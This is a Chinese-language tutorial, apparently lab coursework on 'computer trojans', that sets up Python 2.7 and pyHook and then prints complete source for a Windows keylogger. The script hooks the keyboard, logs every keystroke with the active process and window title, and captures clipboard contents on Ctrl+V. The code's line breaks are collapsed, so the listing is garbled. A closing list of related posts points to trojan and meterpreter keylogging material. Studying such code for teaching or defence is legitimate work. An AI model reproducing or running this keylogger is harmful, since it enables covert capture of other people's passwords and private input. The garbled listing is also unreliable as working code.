编程实现键盘记录功能
目录
1、安装python2.7
2、安装pycharm edu
3、安装完成之后进行相关库的安装
4、在pycharm中添加解释器
5、对键盘记录功能的代码
6、实验代码的运行
1、安装python2.7
(1)下载安装程序
下载链接如下:https://www.python.org/downloads/release/python-2712/
(2)打开上述链接,显示如下:
根据自己电脑配置进行选择,我的是win7 64位,所以我选择的是上述截图中红圈圈中的版本,点击左侧文件名会自动下载。
(3)双击下载之后的msi安装程序进行安装,选择“Install just for me(not available on Windows Vista)”,然后点“Next >”,操作截图如下
(4)选择安装路径,用默认的C盘即可,然后点“Next>”,操作截图如下:
(5)选择Python所要安装的文件,默认全部即可,然后点“Next>”,操作截图如下:
(6)安装完成之后显示如下截图的内容,点击“Finish”即可。
(7) 将安装的Python添加到环境变量中,右键“我的电脑”(win7系统有的显示是“计算机”)选择“属性”,然后选择“高级系统设置”,操作截图如下:
(8) 弹出的“系统属性”界面,选择“高级”里面的“环境变量(N)...”,操作显示如下:
(9) 弹出“环境变量”的对话框,在下面的“系统变量”中找到“Path”,然后点击“编辑”,操作显示如下:
(10) 在弹出的编辑对话框中,将Python的安装目录“C:\Python27”填写进去,注意,两个路径之间是用“;”分号隔开的。操作显示如下:
2、安装pycharm edu
下载地址如下:https://www.jetbrains.com/pycharm-edu/
3、安装完成之后进行相关库的安装
(1)ctypes库:安装在pycharm后,在pycharm;
即表示安装成功。
(2)pythoncom和win32clipboard库:在Python Packages栏搜索 pywin32安装
(3)pyhook库:下载好文件pyHook-1.5.1-cp27-cp27m-win_amd64.whl,并用命令行对其进行安装
4、在pycharm中添加解释器
(1)在pycharm中,点击File—>Settings…
(2)弹出Settings对话框中显示目前的Project Interpreter,点开下拉菜单,选择”Show All…“
(3)点击窗口右侧的+
(4)弹出如下对话框,选择“Existing environment”,并选择右边“…”图标,在和Python.exe同样的目录中,选择名为“Pythonw.exe”的interpreter:
(5)运行.py文件,文件解决
5、对键盘记录功能的代码
# -*- coding: UTF-8 -*-
#第7章 计算机木马
##############################################################################
# 程序名:keylogger.py
# 功能:利用Python第三方库PyHook实现键盘记录
# 说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自
# 定义的钩子函数,通过函数就能截获用户的按键消息。
##############################################################################from ctypes import *
import pythoncom
import pyHook
import win32clipboarduser32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Nonedef get_current_process():hwnd = user32.GetForegroundWindow() # 获得前台窗口句柄pid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid))process_id = "%d" % pid.value # 获得进程PIDexecutable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 获得进程名window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title),512) # 获得窗口名printprint "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)printkernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)def key_event(event):global current_windowif event.WindowName != current_window: # 检查目标是否切换了窗口current_window = event.WindowNameget_current_process()if event.Ascii > 32 and event.Ascii < 127: # 检查是否为常规按键print chr(event.Ascii),else:if event.Key == "V": # 如果是Ctrl+V,则获取剪贴板内容win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,return True # 返回到下一个钩子事件def key_logger():hooker = pyHook.HookManager() # 创建钩子函数管理器hooker.KeyDown = key_event # 注册钩子按键事件的处理函数hooker.HookKeyboard() # 创建键盘钩子pythoncom.PumpMessages()if __name__ == '__main__':key_logger()
6、实验代码的运行
(1)在桌面创建文件文本
(2)修改文件名,可以看见键盘被记录下来
编程实现键盘记录功能相关推荐
- python编程实现屏幕记录功能
文件配置和库的调用可以看我上一个发的博客: python编程实现键盘记录功能 这里直接上代码: # -*- coding: UTF-8 -*- ############################ ...
- 【网络编程】Trojan源码 文件传输+远程cmd+键盘记录
Trojan可以实现三个功能,分别为文件传输,远程执行cmd,键盘记录.其中键盘记录功能没有利用hook函数,有较强的隐蔽性. 现在给出源码: client: // client.cpp : 定义控制 ...
- meterpreter + 键盘记录
分享下自己的关于[metterpreter + 键盘记录]的学习 这里是使用ms17_010打入目标主机,具体就不进行描述. ms17_010 成功的话就是SYSTEM权限 如果我们要对管理员的键盘进 ...
- TouchEn nxKey:键盘记录反键盘记录解决方案
TouchEn nxKey:键盘记录反键盘记录解决方案 本文译自:TouchEn nxKey: The keylogging anti-keylogger solution 我一周前写过关于韩国的强制 ...
- c++监听键盘_想知道木马程序的键盘记录原理吗?python告诉你 !
前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这 ...
- python实现键盘记录木马_Python告诉你木马程序的键盘记录原理
前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这 ...
- java打印输出万年历_用Java编程输出万年历的功能实现
1.功能实现 输入1查看上个月日历 输入2查看下个月日历 输入3查看去年本月日历 输入4查看明年本月日历 输入5查看指定月份日历 2.代码所导入的包 import java.text.ParseExc ...
- python输入一个英文句子、统计单词个数_C语言编程求一个英文句子中的单词数和最长单词的位置、长度及输出这个单词。c++编程 从键盘输入一个英文...
C语言编程求一个英文句子中的单词数和最长单词的位置.长度及输出这个单词. c++编程 从键盘输入一个英文 www.zhiqu.org 时间: 2020-11-23 我刚做了一关于英文句子里面每 ...
- 按如下函数原型编程从键盘输入一个m行n列的二维数组,然后计算数组中元素的最大值及其所在的行列下标值。其中,m和n的值由用户键盘输入。已知m和n的值都不超过10。
题目:按如下函数原型编程从键盘输入一个m行n列的二维数组,然后计算数组中元素的最大值及其所在的行列下标值.其中,m和n的值由用户键盘输入.已知m和n的值都不超过10. void InputArray( ...
最新文章
- python数据清洗实例_python 数据的清理行为实例详解
- GDCM:gdcm::FileMetaInformation的测试程序
- python中from import用法_python学习--Python之import与from...import的区别与用法
- JAVA面试题(part1)--变量相加与常量相加
- php mysql 正则_MySQL 正则表达式
- php在线模拟高考志愿,高考志愿模拟填报系统
- ETL异构数据源Datax_工具部署_02
- c语言判断二叉树是不是二叉排序树_判断
- Springboot的工作机制:1 Springboot初体验
- 小米root以及面具的使用
- 《30天自制操作系统》学习笔记--番外篇之Mac环境下的工具介绍
- 《Tsinghua os mooc》第1~4讲 启动、中断、异常和系统调用
- 什么是前置审批许可、后置审批许可?
- 四羧基锌酞菁(ZnC4Pc),Zn-taPc 的荧光激发光谱介绍,齐岳生物供应酞菁材料
- Google登录强制启用二次身份验证与FIDO解决方案
- 主流图数据库对比,Neo4j、ArangoDB、OrientDB、JanusGraph、HugeGraph
- can和could的用法_can与could用法归纳
- python 中关键字 global 的用法
- 【推荐系统】4种推荐引擎预测你的电影品味
- Spark之核心架构
热门文章
- TCP/IP高频考点之一个数据包的流浪日记 - 网络层
- git 如何将主分支(master)合并到子分支上
- php源码安装图文教程_织梦教程 整站源码通用安装教程内附图文说明
- [我所知道的BIOS]-[Jumpless] 4
- 2-2 第17次课 高项之人力资源管理
- x86架构下的安卓虚拟化
- Android X86 解决ARM兼容的问题
- 懒人精灵飞桨插件的使用
- 普元ESO 逻辑流返回值选择java--浏览卡住
- 宁夏小学三年级计算机下册教案,【宁夏三年级信息技术下册教案资讯】宁夏三年级信息技术下册教案足球知识与常识 - 足球百科 - 599比分...